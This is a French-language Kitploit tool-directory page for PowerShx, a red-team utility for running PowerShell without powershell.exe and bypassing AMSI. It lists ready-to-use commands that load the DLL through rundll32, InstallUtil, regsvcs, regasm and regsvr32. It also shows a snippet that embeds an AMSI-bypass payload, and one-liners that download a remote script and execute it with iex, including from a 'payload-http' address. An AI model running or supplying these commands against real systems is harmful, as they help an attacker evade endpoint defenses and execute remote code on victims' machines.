Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PowerShx — Exécutez Powershell sans restrictions logicielles. | Kitploit
Outils/GitHubGitHub/iomoath/powershx
Outils DéfensifsEscalade de PrivilègesGénération de PayloadsÉvasion IDS/IPSMouvement LatéralScripting et AutomatisationPost-ExploitationTests d'IntrusionCommandement et ContrôleRed Teaming
GitHubiomoath/powershx
28146il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PowerShx

Exécutez Powershell sans restrictions logicielles.

Voir le dépôt

SharpShx


Exécution PowerShell non managée à l'aide de DLLs ou d'un exécutable autonome.

Introduction

PowerShx est une réécriture et une extension du projet PowerShdll. PowerShx fournit des fonctionnalités pour contourner AMSI et exécuter des cmdlets PowerShell.

Fonctionnalités

  • Exécuter PowerShell avec des DLLs en utilisant rundll32.exe, installutil.exe, regsvcs.exe ou regasm.exe, regsvr32.exe.
  • Exécuter PowerShell sans powershell.exe ni powershell_ise.exe.
  • Fonctionnalités de contournement d'AMSI.
  • Exécuter des scripts PowerShell directement depuis la ligne de commande ou des fichiers PowerShell.
  • Importer des modules PowerShell et exécuter des cmdlets PowerShell.

Utilisation

Version .dll

rundll32

root@kitploit:~
rundll32 PowerShx.dll,main -e                           <script PS à exécuter>
rundll32 PowerShx.dll,main -f <chemin>                  Exécute le script passé en argument
rundll32 PowerShx.dll,main -f <chemin> -c <cmdlet PS>   Charge un script et exécute une cmdlet PS
rundll32 PowerShx.dll,main -w                           Démarre une console interactive dans une nouvelle fenêtre
rundll32 PowerShx.dll,main -i                           Démarre une console interactive
rundll32 PowerShx.dll,main -s                           Tente de contourner AMSI
rundll32 PowerShx.dll,main -v                           Affiche la sortie d'exécution dans la console

Alternatives (Merci à SubTee pour ces techniques) :

root@kitploit:~
1. 
    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4. 
    regsvr32 /s  /u PowerShx.dll --> Appelle DllUnregisterServer
    regsvr32 /s PowerShx.dll --> Appelle DllRegisterServer

Version .exe

root@kitploit:~
PowerShx.exe -i                          Démarre une console interactive
PowerShx.exe -e                          <script PS à exécuter>
PowerShx.exe -f <chemin>                 Exécute le script passé en argument
PowerShx.exe -f <chemin> -c <cmdlet PS>  Charge un script et exécute une cmdlet PS
PowerShx.exe -s                          Tente de contourner AMSI.

Charges utiles intégrées

Des charges utiles peuvent être intégrées en mettant à jour le dictionnaire de données "Common.Payloads.PayloadDict" dans le projet "Common" et en l'appelant dans la méthode PsSession.cs -> Handle(). Exemple : dans la méthode Handle() :

root@kitploit:~
private void Handle(Options options)
{
  // Exécution préalable au script utilisateur
  _ps.Exe(Payloads.PayloadDict["amsi"]);
}

Exemples

Exécuter un script encodé en base64

root@kitploit:~
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

Remarque : Les stagers Empire doivent être décodés avec [System.Text.Encoding]::Unicode.

Exécuter un script téléchargé

root@kitploit:~
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

Prérequis

.NET 4

Problèmes connus

Certaines erreurs ne semblent pas s'afficher dans la sortie. Cela peut être déroutant car des commandes telles que Import-Module n'affichent pas d'erreur en cas d'échec. Assurez-vous d'avoir correctement saisi vos commandes.

En mode DLL, le mode interactif et la sortie des commandes reposent sur le détournement de la console du processus parent. Si le processus parent n'a pas de console, utilisez le commutateur -n pour ne pas afficher la sortie, sinon l'application plantera.

En raison de la façon dont Rundll32 gère les arguments, l'utilisation de plusieurs espaces entre les commutateurs et les arguments peut poser problème. Les espaces multiples à l'intérieur des scripts sont acceptables.

Télécharger l’outil